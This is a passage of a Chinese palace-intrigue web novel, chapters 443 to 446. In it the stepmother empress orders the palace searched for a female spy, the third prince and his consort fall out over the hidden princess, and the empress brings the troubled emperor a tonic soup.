那领头的又胖又矮的一名公公闻之,却是朝其尤为不屑一顾地哼了哼鼻子:“哼……” 继而,阴阳怪气地道:“你没法对你的主子交差,那咱们就能对皇后娘娘交差了不成?好一个不知天高地厚的大胆奴才,在这座皇宫里,你说是你家三皇子殿下大,还是咱们皇后娘娘大啊!” 巧慧一听,顿时诚惶诚恐地解释道:“公公请息怒,奴婢不是这个意思,公公莫要曲解了奴婢的话,奴婢只是想着……” 未及其将话说完,那公公便抢先将其剩余的话打断,厉声道:“你不是这个意思,那你是什么意思?我看你就是活得不耐烦了,竟敢抗旨不遵,以下犯上!” 顿时间只闻“扑通”一声,巧慧忙跪倒下来在其面前,俯身趴在厚厚的雪地上朝其祈求道:“奴婢不敢,请公公息怒……” 瞬时,守门的其他几人亦随同其一起跪了下来,央求道:“请公公息怒,公公饶命……” 启料那满脸横肉的公公竟见此依旧不依不饶,且愈加发狠了起来,朝身后发令道:“哼,来人,今儿个给本公公好好教训教训这几个没规矩,不知天高地厚的死丫头,掌嘴!” 顿时,从其身后上前两步几名宫女来,纷纷高高抬起各自的一只手正准备朝巧慧等人的那张此时又冷又惊,苍白的小脸上落下去。 就在这时,从宫门内传来一极响亮的声音道:“住手!” 那正欲打人的宫女们顿时僵在了原地,动作戛然而止,停在了半空,所有人遂朝着声音所发出来的方向望去。 “何人如此大胆,竟敢在门外这般大声喧哗,打扰到小皇孙的午睡!”原是轩辕玥在婢女锦兰和巧兰的双双搀扶下缓缓踏步而来。 闻声,见是主子出面来,几名气焰嚣张的奴才们这才紧忙收敛起锋芒全体跪身下去朝其俯首参拜道:“奴才们叩见三皇子妃娘娘!” 显然,皇宫内已是无人不知无人不晓,如今的轩辕玥母贫子贵,因为顺利诞下的小皇孙深受东宁国君的疼爱。 相比之下,继后的宠爱虽只是限于表面,可对于她们母子目前来说,也是好的。 这一切,已成了她如今深居于后宫之中最大的保护,远远比三皇子梅志煊以及自己三皇子妃本身的头衔地位强至千倍万倍。 而在这个偌大的皇宫之中,奴才始终是奴才,对于这些拿着鸡毛当令箭之辈,轩辕玥根本对其俱都不屑一顾,看都不看他们一眼,更别说轻易便让他们起身来了。 于是,她只自顾自对下面怯怯跪着的巧慧道:“巧慧,这外面天寒地冻的,本宫方才不是让你去给小皇孙的屋里添些碳火嘛,你又为何会在此跪身着?这里,又发生了何事?你们几个还不起来跟本宫一五一十地说清楚。” 巧慧忽觉心中一亮,几人遂终于起了身来,巧慧忙上前到轩辕玥的面前,回禀道:“回娘娘话,方才奴婢正要准备去库房拿些碳火,见看守库房的奴才湿了鞋袜,怕她冻伤,便让她回去换套干净的衣裳来,奴婢便替她守了一会儿。”九桃 说着说着,巧慧移动视线到此时正以那位肥头肥脑的公公为首,一个个俱都怯怯跪着,低低埋藏着各自脑袋的众人身上继续道:“不成想,刚出了库房的门,便闻宫门口方向有喧哗吵闹的声音,一来便见到几位欲要强行搜宫的人?” 一听至此,巧兰眉头紧锁顿看向那些人,遂惊诧地道:“搜宫?” 面对轩辕玥、锦兰、巧兰三人俱都不约而同顿时朝自己投来满是质疑的眼光,巧慧亦是不明所以地默默点了点头。 这时,那俯身低低趴在雪地上吓得冒了一头冷汗的公公头领开口朝其解释道:“回三皇子妃娘娘,奴才们乃是奉皇后娘娘懿旨,前来各宫苑里搜查缉拿潜藏的细作的,还请三皇子妃娘娘明查!” 闻此,锦兰、巧兰顿时面面相觑着惊声道:“细作……” 而不知为何,轩辕玥心中却忽然升起了一抹极不好的预感,稍一思量,便试探着问:“皇宫里一向守卫森严,又怎会有细作混入进来。那细作长得是何模样,身材高矮,胖瘦又如何?身上可有什么记号?可有其画像?” 面对轩辕玥的重重疑问,胖公公即使此时,显然亦是一头雾水:“这个嘛……” 想了想,只回道:“实不相瞒,奴才并不曾得到关于这名细作的什么画像,只知道她的身份乃是一名女子。” 闻声,在场众人皆是更加惊诧不已:“女细作?!” 然轩辕玥闻此,却是心里顿时咯噔一下,一时间里脑海中一片混乱了起来,遂又努力隐忍着定了定神,故作镇定自若地道:“想必公公应该比本宫更加清楚,在这偌大的皇宫之中,其中女子不计其数。本宫不知,仅仅凭借一个女子身份,公公又如何能查找出这名细作来,这听起来似是简直有些荒唐至极!” “这……”胖公公已然无言以对。 想着既然是继后下的命令,又是如此重大之事件,搜宫亦是早晚难免之事。 如果此时执意要将来人拦住,也不是办不到。可这样一来,反倒会显得自己这里是‘此地无银三百两’,让那继后更加怀疑起这座院子来。 一念至此,轩辕玥心里似是已有了主意,便吩咐道:“罢了,锦兰,虽然咱们三皇子殿下此时并不在宫中,但我们也要全力配合母后的命令,亦是不要为难了这位公公。你且带着这位公公一众人等前往到各处院子的角角落落里仔细去搜上一搜,千万不要漏了一处地方,如此也算是免除了我们的嫌疑。可只有一条,莫要惊扰到了小皇孙的午睡!” 闻此,那公公顿时满脸欣喜地朝其叩谢道:“素闻三皇子妃娘娘贤良淑德,极体恤下人,今日一见果不其然!奴才谢三皇子妃娘娘体恤!” 众人皆一起朝其拜谢:“奴才们多谢三皇子妃娘娘体恤!” 这时,轩辕玥方才缓声道:“好了,这冰天雪地的,都起来别再跪着了!只是以后各自心里都要牢牢谨记,即便是做一名身份卑微的奴才,能有缘同在一座宫里当差,亦是前世里不知苦修了多少年,方才换得的今生这一场难得的缘分。无论期间感情深或是浅,下一世都不会再有。故应相亲相爱如一家人一般,而不是狗仗人势,拿着鸡毛当令箭,把和自己一样卑微不易的人不当人看。” 闻此,一众人等纷纷心服口服地齐声信誓旦旦地扬声呼喊道:“奴才们知错,奴才们谨记三皇子妃娘娘的教诲!奴才们日后一定相亲相爱!” 轩辕玥话一说完,便转身迈步朝屋内回去,顺势对身旁的巧兰使了使眼色,巧兰便悄悄朝后院里退了下去。 因为梅志煊的宫苑前前后后就这么几间屋子,并不算大,所以很快几名奴才便将其搜查完毕。 最后,轩辕玥挺立在了爱子门前的屋檐下,素颜问院子里齐齐站着的一众奴才道:“怎么样?公公是否都已经仔仔细细地将这宫苑里里外外都搜查清楚了?” 那领头公公嬉皮笑脸地道:“回三皇子妃娘娘话,除了小皇孙的屋子,其他地方奴才们都已经看过了,并未见到有什么陌生可疑的面孔出现。” 轩辕玥听了,顿时声音有些严厉地道:“怎么?公公的言外之意,就连小皇孙的屋子你也是要搜上一搜?” 领头公公言语之间,始终都笑着:“为了小皇孙的安全起见,奴才觉得还是应该让侍卫们进去亲自确认一下比较好,若是那贼人……” 启料话未说完,便闻身后忽传来一阵男子极具威严的厉声训斥道:“大胆!” 第四百四十三:三人之间,从此陌路 领头公公笑着道:“为了小皇孙的安全起见,奴才觉得还是应该让侍卫们进去亲自确认一下比较好,若是那贼人……” 启料话未说完,便闻身后忽传来一阵男子极具威严的厉声训斥道:“大胆!” 闻声,院子里的奴才们只觉如雷贯耳一般被其震慑到,吓得纷纷跪了一地,齐声道:“奴才叩见三皇子殿下!” 霎时间,紧随梅志煊一同回来的一众侍卫上前到轩辕玥的面前转身对着院里的奴才们,各个将自己手中紧握着的铮亮的长剑拔了出来,挡在身前。 梅志煊兀自缓缓走到了轩辕玥的身旁,深看了她一眼,启料轩辕玥却看都不看他一眼,并未回应他丝毫。 无奈,他只能转身扫了一遍院里正怯怯跪着的一众前来搜宫的奴才们,对其发恨道:“你们这是在做什么?本皇子不在,是谁给你们这么大的胆子,竟敢以下犯上,跑来这里骚扰我院里的人?若非你们一个个全都是当本皇子不存在了吗?” 即使梅志煊再不受重视,可他依旧是这座皇宫里的主子,听到主子震怒,那公公俯首跪着将头丝毫不敢抬起来半分,只声声朝其致歉道:“奴才不敢,奴才不敢。” 梅志煊顿时将目光落在那回应他的话人身上,眼里尽是满满寒光四射地朝其扬声喝道:“不敢,本皇子怎么看你胆大的很呢!还不快说,宫中究竟发生了何事?” 一声呵斥,那公公赶忙战战兢兢地开始禀告了起来道:“对于这其中隐情,奴才们实在是不知情。全因皇后娘娘下令,说宫中近来混入了一名女细作,便令奴才们即便就是将整座皇宫给翻个底朝天,亦要务必将这名女子给揪出来,杀无赦。” 闻此,梅志煊皱了皱眉头,似是心中隐隐约约有些猜想,遂又故作淡定地问:“什么女细作,可有找寻的线索?” 那公公支支吾吾半天说不清楚:“奴才…暂时还没有……” 梅志煊听了轻笑一声,接着素声严厉地道:“荒唐,简直是荒唐至极。这样又如何才能揪出这名女细作来,难不成全凭你们这些一个两个,个个俱都蠢笨如猪的奴才的直觉与猜忌嘛?” 那公公带着人,可不就正是这般的做法,此时,面对梅志煊的质问却还依旧想要说些什么:“这个……” 却被梅志煊顿时喝令驱赶道:“还不快滚,若是再敢无端来这个院子里骚扰本皇子的人,小心本皇子让你们一个个立马人头落地!” “三皇子殿下息怒,三皇子殿下息怒,奴才们这就滚,这就滚!” 看着面前固若铜墙铁壁一般个个手里执剑守护着身后的主子的侍卫们,前来搜宫的奴才们个个吓得屁滚尿流,仓皇而逃了去。 至此,梅志煊方才舒了口气,转而对自己院里的奴才们亦下令道:“好了,你们也都各自散了吧!” 众人散去。 梅志煊再次看向身旁轩辕玥至今都毫无波澜的一张白皙的面孔,关切道:“对不起,让玥儿受惊了!” 启料轩辕玥只深看了他一眼,却并未说话,便转身兀自进到了屋内去。 见她显然至今都还未曾消气,梅志煊无奈地只能跟随其脚步亦进了门。 启料一进门,却看到一袭锦白长袍男子扮相的衣上云在巧兰的陪伴下,正从其爱子的内屋里缓步走出来。 梅志煊一见,顿时朝其惊诧地正想开口说些什么:“是你,你怎么会在这里……” 正在心下里暗自猜测着些什么,难道这俩个女子已经…… 却见衣上云忽然抱起拳来对正落座在厅里案几边的轩辕玥致谢道:“多谢三皇子妃娘娘将草民掩护至此,方才躲过一劫!” 轩辕玥依旧面无任何表情,然事已至此,她的心里已是对方才的这场搜宫风波清楚地如明镜一般。 一向太平的东宁后宫里,只因衣上云的到来便掀起了这场波澜,虽不知其中缘由究竟为何?但至少可见,皇后应是尚还不知衣上云如今到底身藏何处? 而在这个偌大的东宁皇宫里,除了她,还能有谁会帮她? 最后,她只是不看她的脸,却是看向梅志煊的方向平静地道:“你亦不必谢我,若是你的身份被人识破,怕是这整座宫苑里大大小小几十口人,就都要大祸临头了!”女生 顿了顿,又补了句道:“不过,你倒真的得好好谢一个人。他才是真的计谋深远,为你盘算。幸好让你平日里换上了男装示人,且一直都是他平日里的心腹在左右侍奉着。否则,怕是今日里就没有这般幸运好过了!” 衣上云当然知道轩辕玥此时口中所说的这个人是谁?可她女扮男装的身份早已被其识破,真正的身份现在又是难以说出口来,想一想,任谁都会误会成她与梅志煊二人是那样的关系的吧。 然一想起自己如今还能活着,只是要为秦王轩辕翰复仇,便似乎一切都已经不那么重要了。 于是,她亦斜了一眼屋内一直沉默玉立在一旁的梅志煊,只兀自朝轩辕玥告辞道:“那草民就退下了!” 说完,便转身疾步离开了这座院子。 直到看着其身影彻底消失不见,梅志煊方才回过神来,默默地朝轩辕玥身旁走了过去,在其身旁落座了下来。 许是因为所有的事情,亦是自己一开始完全没有预料到。 起先,他只是为了赢得父皇对他的信任,亦是报答嫡母后对自己无微不至的照顾与疼爱,所以即使多难,他都从未放弃过寻回嫡母后血脉的决心。 尔今,他真的寻到了她,却是不敢将其公诸于世。 因为出乎意料,她竟就是传说中的拥有那股神秘的强大力量的西秦守护者后人,他的宏图伟业需要她的力量来支持,他自是绝对不能让她落到任何人的手里。 而想要利用她,便绝对不能让她知道,秦王轩辕翰还活着。他没想到,那个让他恨得咬牙切齿的秦王,在她的心里竟是如此重要,就连其与轩辕玥之间的深厚感情亦可以舍弃不要。 正在暗自思量着,忽闻轩辕玥的声音传入耳畔道:“不知殿下接下来预备怎么做?” 梅志煊猛地回过神来,似是还未反应过来其话语的意思,道:“怎么做?什么预备怎么做?” 轩辕玥吐了口浊气,道:“殿下不觉得自己方才此举,可谓是后患无穷吗?” 梅志煊闻之,心下里稍一思量,不解地问:“玥儿此话怎讲?” 轩辕玥道:“今日,殿下带着人甚是威风凛凛地驾临,将这一众搜宫的人通通轰了去。如此意气行事,冲动之举,难道就没想过,日后,怕是母后因此便更会怀疑这里,绝不会轻易放过这里了吧!母后,她可从来都不是一个糊涂的人,她想要做的事,一向是不达目的不罢休,绝对没有人能阻止得了!” 梅志煊这才恍然大悟,却是一副完全毫不惧怕和后悔地道:“无论如何,我都不能眼睁睁地看着任何人骚扰你和海儿。就算是拼了命,我也不要我们的孩儿再受人冷眼,任人欺凌,过我以前所过过的日子。” 此话一出,轩辕玥顿惊看向了梅志煊的侧脸,一时间心里五味杂陈不知道该说些什么,最后只扭头看向内屋爱子的方向,低声默默忧郁地道:“海儿……” 一室寂静,俩人遂一起坐着沉默了许久。 轩辕玥怔怔望着窗外漫天飞舞的雪花扬扬洒洒,想起三人打从在西秦国的街头初次相遇至今所发生的所有点点滴滴,最后眼里含着晶莹的泪花道:“到底是什么?让我们三人变成了今天如此陌生的这般样子!” 梅志煊显然对此无言以对,轩辕玥眼里尽是失望透顶,却还是抱着最后一丝希望道:“所以,即便是已经到了现在的这般局面,殿下还是打算将她留在后院,让这里的几十口人俱都陪着一起战战兢兢,如履薄冰度日吗?” 显然,除了沉默,梅志煊似是依旧也无法解释什么了。 见此,轩辕玥彻底绝望了。 这里的一切,忽然变得似是已让她无法喘息,于是,她缓缓起身来,兀自踱步朝屋外而去。 梅志煊对着其心灰意冷,黯然离去的背影,忽然着急紧张地道:“玥儿,请你相信我。这一切并不是你所想的那样,我现在实在是无法同你解释一二,可以后总有一日,你都会明白的。” 闻声,轩辕玥心里一惊,遂忽地止步停了下轻轻阖上眼眸,两行滚烫的泪水滑落了下来。 似是在心底最后下定了某种决心一般,稍时,最后她复又睁开眼来冷冷地留下一句话,道:“殿下不需要再向玥儿解释。往后余生里,无论是你,亦或是她,这一切,于玥儿,都已经不再重要了,玥儿亦已经不再需要。玥儿只希望殿下能够自求多福,知道自己在做什么。” 说完,便一步跨过了门槛,头再也不回地走了出去…… 第四百四十四章:她若盛开,蝴碟自来 就在这时,梅志煊刚一回宫便听闻宫里在缉拿细作的消息,派去皇后宫里打探相关消息的侍卫恰巧与轩辕玥擦肩而过,跨过门槛走进了屋来,看到轩辕玥一脸黯然无光,对于自己的行礼也似视而不见,毫不理会的样子,一边进门一边纳闷地摸着后脑勺问梅志煊道:“殿下,娘娘这是怎么了……” 却是话音尚还未落,抬头一见梅志煊眉头紧锁,脸上更显黯然与失落的表情,便即刻收了声。 一室寂静,主仆俩就这样静静地各自沉默了许久。 雪仍在下,也似是唯有窗外此时簌簌不停的落雪的声音始终不停地萦绕在耳边,除此之外,整个世界安静得像是只剩下他们俩人。 梅志煊纵使心里有千种滋味、百般感叹,却终是不得不默默隐忍下所有一切。因为他始终都相信,自己的所作所为终将被原谅。 最后,他终是再次鼓起了勇气,开口打破了这片死寂:“如何?可有查清楚皇后那边究竟为何忽然间如此兴师动众地要搜宫?” 闻声,侍卫亦才忙回过神来朝其抱拳回禀道:“启禀殿下,皇后那边个个都口风极紧,属下并未打听到有关那个被缉拿的细作的具体消息。却是从其殿外的一名守卫其口中探得,据说今日早朝后,皇后单独召见了太史令张大人,且张大人似乎激怒了皇后娘娘!” 梅志煊听了顿时愣了一下,遂怔望向他的眼睛,甚是不解地问:“张大人?你没听错?张大人他为官一向刚正不阿,从不结党营私,更是素来不与后宫相互往来,皇后又怎会突然召见他?他又为何会激怒了皇后?” 侍卫并没有立刻回答他的话,却是上前了两步近身过去,压低声音故作神秘地说:“殿下一定想不到,今日早朝上发生了什么?” 闻此,梅志煊惊诧地道:“早朝?” 说完遂将一双怒目瞪向了那欲要对其卖关子的侍卫厉声训斥道:“还不快说!” 于是,那侍卫紧忙老老实实地一五一十向其禀告了起来…… 果然,梅志煊越听越难以置信,直至最后大惊失色地忽立起身来道:“什么?竟有此事?这真的是张大人卜筮的吗?” 那侍卫又何尝不是一路上至今都难以置信至极,只见他从未如此认真地朝其极严肃地点了点头,目光定定地道:“千真万确,属下方才从皇后宫里打探消息回来的时候,已经特地同朝中的好几位大人确认过了,他们亦是个个都觉得不可思议至极,甚至就连皇上自己亦是震惊不已!自早朝结束后,听闻皇上只在书房里召见过张大人一人,俩人密谈亦仅仅不到一局博弈的时辰,据说棋才下到一半,便因此而勃然大怒,将张大人赶了出来,后又自己一人继续闷在书房里至今都不愿见任何人。” 默想了片刻,梅志煊似是终于恍然大悟,沉声幽幽说道:“如此看来,咱们那位神通广大,欲要一手遮天的皇后娘娘,一定是亦得知了这个消息,亦对此消息一定也是将信将疑,这才将张大人请了去亲自进行了一番盘问。” 梅志煊一边说一边思量着,怔怔落座了下来,默想了一瞬,惊异地道:“想我东宁如今正值国运鼎盛之际,怎会有如此卜筮征兆?这张大人年纪也不过才四旬有余,难道是已经老糊涂了吗?如今,就连父皇都因此而龙颜大怒了,难怪皇后在后宫里亦是坐不住了,如此震怒地将他关押起来!她一定是想着,若是这个消息再继续发酵蔓延下去,势必将引起满朝动荡。” 此时的梅志煊万万不会想到,自觉得拥有天下最大一副致胜王牌的自己摆明了将会稳赢的一盘棋,尚还未开始,便已经注定了将满盘皆输的命运。 而一边的侍卫想了想,却是用力的挠了挠自己的脑袋,眉头深锁着觉得一头雾水,总觉得哪里不对劲,只能问梅志煊道:“可这贵人是贵人,细作是细作,若是被找到,其两者在本质上可是天壤之别。属下就是不明白,既然皇后是为了我东宁国好,便理应是下令寻找能拯救我东宁命运的贵人才对,可为什么如今却是在搜查什么莫须有的细作呢?” 梅志煊若有所思地沉沉道:“故技重施,这便是皇后的阴险高明之处。皇后向来心思缜密又善妒,想当年嫡母后即使已经快到分娩期,也坚持一定要离开东宁国前往西秦的时候,所有人都反对,可唯独只有皇后一人替嫡母后求情。那时,嫡母后还对她心存感激甚为感谢。可想来,嫡母后后来在西秦不幸发生意外,本皇子觉得,这一定与当今皇后当年亲自所派去的守护嫡母后安危的侍卫定是脱不了干系……” 顿了顿,想起这过去的重重阴谋,梅志煊骤然一脸的阴云密布,看着侍卫似懂非懂的神情,又道:“如果本皇子没有猜错的话,嫡母后所要寻找之人,那个她口口声声所说的什么细作……不是别人,正是那能拯救我东宁命运的贵人。” 侍卫一听大惊:“什么?这怎么可能,若是被当做动机不纯潜入宫廷里来的细作的话,被抓住可是要立即被就地正法,坎脑袋的呀!”202电子书 梅志煊深看了他一眼,道:“这亦正是皇后真正的用意之所在!亦是她的狠绝之处!” 侍卫一想,更不明白了:“可是,东宁若是真的亡国了的话,于她又有什么好处呢?” 梅志煊默想了一瞬,道:“若是张大人的卜筮是真的,那贵人真的存在的话,那无疑,找到了那个所谓的贵人,父皇便是如鱼得水,成了最大的赢家。可那二皇子殿下不是迫不及待地整日里到处对人嚷嚷着想要替代父皇的位置吗?” 至此,侍卫这才茅塞顿开,恍然大悟道:“属下明白了,殿下的意思是……皇后这是有意在为二皇子筹谋,扫清障碍。” 说完复又摇了摇头,甚觉惋惜地道:“如此说来,那个所谓的贵人可就怜了!” 梅志煊忽地接话道:“有本皇子在,她当然不会有事。” 那侍卫顿时惊诧地道:“什么?殿下您的意思是,是说公主便是那个能拯救我东宁的贵人?” 梅志煊深深地吸了口气,意味深长地道:“看来,公主已是不能在此继续藏下去了。” 侍卫顺着其思路暗自一想,顿时亦忧心如焚地道:“谁说不是呢?公主在此可谓是‘躲了初一,躲不过十五’,殿下,我们是不是应该将公主立刻转移出宫呢?” 梅志煊听了阖上眼眸,思量了许久,最后竟然炸出一句道:“不,正所谓是最危险的地方亦是最安全的地方。” 侍卫不明白其话里究竟是何意,只跟着重了一遍道:“最危险的地方亦是最安全的地方?” 梅志煊起身缓缓提步来到门口双手负后着立定,望着门外的一片苍茫大地道:“看来,或许,我们应该将她送到父皇的身边去。” 果然,此话一出犹如一道晴天霹雳般将侍卫惊到,遂直瞪起眼睛来大声惊道:“什么?将公主送到皇上的身边,殿下您这是……” 梅志煊幽幽道:“她若盛开,蝴碟自来。经过了这么多,我们将她藏来藏去,可无论是在宫外亦或是宫内,都是这般的不安全。你我心里都知道,她本就不是一名普通的女子,没有任何力量能遮盖住她的光芒。既然如此,或许,那就只有将她送到父皇的身边,才能真正保全她的安危!” 侍卫仔细一思量,亦觉他的话是很有道理的,可似是又极为不甘心地道:“可是殿下不是曾说过,有生之年,绝对不会让公主与皇上父女相认的吗?更何况,欲成大业,日后我们还需要公主……” 梅志煊心里又怎会舒服与甘心,为此他付出了那么多心血,可眼下举事的准备工作一切都尚都还未全部完成。若是冒然行事的话,结果极难预料。 默想了一瞬,他无比坚定地道:“当然不能让他们父女相认。可是,只要本皇子不说,父皇他是绝对不会轻易相信一个凭空出现的陌生女子之言的。更何况,那还是与嫡母后相关的极为重要的人与事。且你难道未发觉,公主其实更是对自己的身世一无所知吗?!” 侍卫想了想,依旧不太赞成,坚持着欲让其再三思:“即便如此,属下还是觉得殿下应该再好好想想,经历了那么多,我们好不容易才寻得了这股强大的力量支持。如果就这样将她送到皇上身边,岂不是等于将其拱手相让嘛!” 梅志煊最后挥了挥衣袖,忿忿转身,极不耐烦又似不得已武断地对身后留下一句话道:“我意已决,不必再议,你赶快下去寻一个合适的机会……” “唉……”侍卫无奈地叹息了一声,遂退了下去。 第四百四十五章:膏滋调理汤 侍卫离开后,梅志煊阖起双眸许久许久,终于长长的舒了口气,过去多少个日日夜夜,他也的确是实在太累了。 蓦然回过神来,以为爱子尚还被留在内屋里,于是心中的某个角落忽然间莫名地就变得柔软了起来,遂一默想,便缓缓起身来欲进去探望。 然当他立在内屋的门口,鼓足了勇气终于极为勉强地挤出了一点笑容来伸手一把掀开了内屋的门帘,启料屋内却不知何时早已经是空空如也。 就连榻上的被褥俱都叠放地整整齐齐,寻不到任何与孩子相关的一丝丝气息。 就在他忽觉一种从未有过的孤独感袭遍全身,为此而黯然失望地目光定定朝屋内顿了许久,最后却不得不清醒过来转身回座之际,忽闻门口传来一阵熟悉的声音道:“殿下!” 梅志煊一听,顿时再也抑制不住此刻强压在内心里的怒火,对那来人看也不看一眼,脱口便极不耐烦地大声呵斥发泄道:“本皇子让你出去立刻办事,你又回来做什么?” 其实,相伴多年,梅志煊只听脚步声便早已经知道这来人正是那位刚刚出门复又返回来的其侍卫。 侍卫闻声,虽还是惊得愣了一下,但因追随梅志煊亦不是一日两日了,知道他如今心里正无比难受,便只是顿了顿,终还是开了口禀告:“殿下,幽蓝岛来信了!” 梅志煊一听,甚是惊诧地抬头终于看了看侍卫的脸,道:“什么?幽蓝岛的信!” 侍卫点了点头,遂疾步上前朝其近身过去将信递上。 梅志煊一把将其接过,快速地展了开来,目光飞快地在那纸上的字里行间移动着,脸上的表情也从开始的抑郁很快变得明朗了起来。 最后,他竟一把重重地拍在身旁的案几上,欣喜激动地道:“太好了,真是太好了,天助我也,真是天助我也!这可真是‘山穷水尽疑无路,柳暗花明又一村’,我们的机会来了!” 而看着梅志煊忽然间变得似是心情极为大好起来的侍卫却是一脸纳闷地道:“机会来了?什么机会来了?” 见此,梅志煊将手里的一纸密信倏地递向了侍卫。 果然,看完整封密信的侍卫,亦是瞬间抬起头来看着梅志煊的脸,似是极不敢相信这里面所述的都是真的? 而此刻,他似乎也只能对其目瞪口呆地道:“这,这未免也太巧了吧……” 就在方才,二人商定主意后,还一直在心里各自苦思冥想着,想要冒然在东宁国君身边安插一个人,那是何其的难? 而且,所安插之人还既要能为己所用,传递一些有用的消息,又能替衣上云自己本身掩护其真正的身份,护其周全,躲避皇后的阴谋。 而这一切,在此刻似乎全都因这一封信的到来,而变得俱都顺理成章了起来。 梅志煊忽然间觉得,苍天还是极眷顾他的。 什么亡国预言,他权当那是在预言自己的宏图大业马上就要实现了! 忽地回神,梅志煊立刻安排侍卫:“你还愣着干什么?还不下去快快准备!” 启料侍卫却忽然似是有些犹豫了起来,弱弱地问:“可是……娘娘那边……” 梅志煊起身,双手负后着立在窗前,望着窗外一树白玉默想了一瞬,终心一横道:“一切有本皇子在,你且放心去办吧。此事宜早不宜迟,早走一刻,便是多一刻安心!” 侍卫听了咬了咬牙,坚定地道:“是,属下这就立刻去办!” 数日后,是夜。 东宁国君宽敞气派的书房里,灯火通明。 屋内,好几处碳火盆俱都一刻不停歇地一起散发出着一阵阵源源不断的融融暖意来,让人一点儿也不觉得这里是寒冷的冬天。鲜 屋内空气里弥漫着阵阵香烟袅袅,不绝如缕。让人一入便不禁觉得,这居住于此处的人,一定是来自某个仙界的一位谪仙上神。 屋内一角摆放着一张花梨大理石书案,此刻,东宁国君夜不能寐,刚刚挥笔泼墨,书完一贴,望着其低声默默地念道:“春花秋月何时了?往事知多少。小楼昨夜又东风,故国不堪回首月明中。雕栏玉砌应犹在,只是朱颜改。问君能有几多愁?恰似一江春水向东流。” 诵完,启料却是重重地叹了口气,似是更添了忧愁无数。 这时,一直默默陪伴在其身边的年轻侍卫忧心地试着开口劝导:“皇上,夜已经深了,不如早些歇着吧!” 东宁国君摇了摇头,又叹了口气,道:“朕又何尝不想日日高枕无忧,夜夜俱能睡个安稳觉啊!可是……” 说着,语气忽然变得激动了起来:“可是,这亡国预言时时刻刻如影随形,朕只要一躺在榻上眼睛稍微一闭,满脑子便都是现出一片混乱的恶战与血腥。那一个个倒在血泊里,战死在沙场上的模糊不清的或年轻,亦或苍老的脸,那些失去丈夫与儿子,失去庇护他们的家园的万万百姓,一个个俱都惊恐万状地朝朕伸长了胳膊,祈求让朕帮帮他们。这是朕的江山,朕的子民,可朕却,可朕却……” 话已至此,显然他已无法忍心再继续说下去,于是扑通一声无力地瘫坐了下来。 数日以来,年轻侍卫亲眼看着主子日益严重地消沉下去,直至如今已经几近都要接近于失心疯奔溃的状态,心里亦是着急难过极了。 便忙开口劝解其道:“皇上您这是怎么了?皇后娘娘不是已经查明了此亡国预言乃是居心叵测潜藏于我东宁宫廷里蓄谋不轨的细作,企图串通张大人在朝中散播谣言,欲要祸乱我东宁宫廷的阴险计谋吗?况且,您已亲自下令将张大人斩首处决了。皇上为何还要如此固执地深陷于其中,痛苦无法自拔呢!” 此话一出,启料东宁国君更是痛哭流涕了起来,直呼:“张大人,张大人,朕对不起你,对不起你你啊……” 年轻侍卫看着此时眼前的情景,惊呆了:“对于张大人这种卖主求荣之人,杀了他而不累及其家人,已是皇恩浩荡,便宜他了,哪里来的‘对不起’之说?皇上,您今夜到底是怎么了啊?皇上……” 就在这时,门外忽然响起了一阵通报声道:“皇后娘娘驾到!” 闻声,年轻侍卫顿时放眼朝门口望去,一见那凤袍加身,一袭华贵之身份跨过门槛进来,便忙跪身在一旁朝来人俯首跪拜:“奴才恭迎皇后娘娘千岁千岁千千岁!” 继后一进门便只扫看了他一眼,继而顿时扬起一脸的笑意径自朝案边的东宁国君身边近身了过去,微微欠身行礼道:“臣妾参见皇上!” 东宁国君似是心里微微有些意外,抬起眼来问:“皇后,你怎么来了?” 继后缓缓起身,莞尔一笑,上前细道:“皇上,臣妾听闻皇上最近为了国事总是寝食难安,臣妾不放心这些笨手笨脚的奴才们伺候,便亲自过来瞧瞧!” 说完,便朝与其一道进来的几名奴才唤道:“来人,将本宫亲自为皇上所熬制的膏滋调理汤盛上。” 东宁国君听了似是有些惊诧地道:“膏滋调理汤?” 继后一边从一雕花木盘里将一盅汤端出,一边介绍道:“膏滋养生,是臣妾一直以来很喜欢的一种方式。膏滋是滋补调理品,并非药类。汤药重在快速治疗急症,而膏滋是对人体机能进行整体的调理,从而达到补益和调治的双重目的。比起中医汤药,臣妾认为膏滋更有优势,比如它高效、无毒,中和了药物的偏性,效果亦颇为稳定持久,兼有预防、治疗的双重作用,而且口感甜润好入口。所以,在我东宁国民间凡是有体弱多病的,想改善健康状况、调理慢性病、帮助疾病后康复、妇女保养、男性强健,老人延年益寿的等等,都在服用。” 闻此,东宁国君似是为自己的子民甚觉欣慰,便朝继后道:“如此,皇后费心了!” 继后这才亲自舀起一勺汤来,将其送入到东宁国君的口中,东宁国君欣然将其徐徐咽下。 继后微笑着问:“皇上,感觉如何?” 东宁国君用心品了品,连连点头道:“嗯,果然极为容易入口,比那些平日里太医们送来的各种名头的滋补身体的药汤好多了!” 继后满脸欣喜地道:“如此,那以后臣妾每日都命人按时给皇上送来这道膏滋调理汤,皇上可一定要记得坚持服用哦。” 东宁国君望着继后此时表面上看起来尽是一副纯良无辜的脸,信誓旦旦地道:“好,朕答应你!如此,皇后辛苦了!” 就在这时,继后忽然一脸娇羞地缓缓凑近过去,试着坐在了东宁国君的大腿上,眼中流露出满眼的情欲,在其耳边耳鬓厮磨,低声细气地道:“皇上,夜已经深了,不如,就让臣妾今夜留下来陪皇上如何?许久不见,臣妾甚是思念皇上身上的味道及温度……” 说着,竟就将一只温软细腻的玉手极不老实地游走深入到东宁国君的衣袍里。 东宁国君正觉如引火烧身一般,就在这时,门外忽然再次响起了一阵通报声来…… 第四百四十六章:迟到太久的谈话 “三皇子殿下觐见!” 闻声,继后即刻停下了手里的动作,看着东宁国君的眼睛吃惊地道:“三皇子,这么晚了,他来这里做什么?” 东宁国君亦是不明所以地心里愣了一下,继而开口沉声道:“今夜夜色已晚,皇后先行回宫就寝去吧!想皇儿定是有要事方才匆匆赶来。” 然继后却似誓不罢休,继续试着娇声纠缠其道:“可是皇上,臣妾甚是思念皇上,臣妾……” 见此,东宁国君的口气忽然变得有些不耐烦了起来,遂一脸严肃地将她一把从自己的身上推开,道:“好了,你还是先回宫去吧,今夜是张大人的头七之夜,朕亦没有心情,先回去吧!去!” 一听到张大人,继后亦是心里忽然顿了一下,见自己已然没了机会,便极不情愿却也是无可奈何地只能朝其欠身行礼并告退了去:“是!臣妾遵旨!” 就在继后假装着依依不舍地提步刚跨过门槛去,身后便传来东宁国君一素声道:“宣!” 继而,通报声再次响亮地响起道:“宣三皇子殿下觐见!” 